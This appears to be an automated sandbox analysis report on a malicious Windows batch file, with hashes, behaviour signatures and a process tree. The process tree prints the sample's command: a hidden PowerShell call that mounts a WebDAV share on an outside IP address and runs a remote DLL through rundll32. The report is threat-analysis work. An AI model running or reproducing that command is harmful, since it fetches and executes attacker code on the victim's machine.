Analysis

  • max time kernel
    107s
  • max time network
    16s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    13-07-2024 13:22

General

  • Target

    45401207011619030.bat

  • Size

    2KB

  • MD5

    fa49fc3b6fc27d91af031bf4a49a372b

  • SHA1

    82c299e7a0a08d9056b65c9388a66a79562be30f

  • SHA256

    94d49953087405c7217647ddbdbabc0ebe9b81f08b78bd1f19428d9a5d490fad

  • SHA512

    f44b472828e7c1df7831940b610d9a243e4a041020dd9663906f3f88e4427031faae18041417a99c0ff754f7ff6447c29c225b443277db3a2eda8f39345964fb

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\45401207011619030.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3068
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2132
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\4616.dll,entry
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2804
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
        3⤵
          PID:2776
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\4616.dll entry
          3⤵
            PID:2696

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2804-23-0x000000001B7E0000-0x000000001BAC2000-memory.dmp

        Filesize

        2.9MB

      • memory/2804-24-0x0000000001E10000-0x0000000001E18000-memory.dmp

        Filesize

        32KB

      • memory/3068-17-0x0000000002260000-0x0000000002360000-memory.dmp

        Filesize

        1024KB

      • memory/3068-16-0x0000000002260000-0x0000000002360000-memory.dmp

        Filesize

        1024KB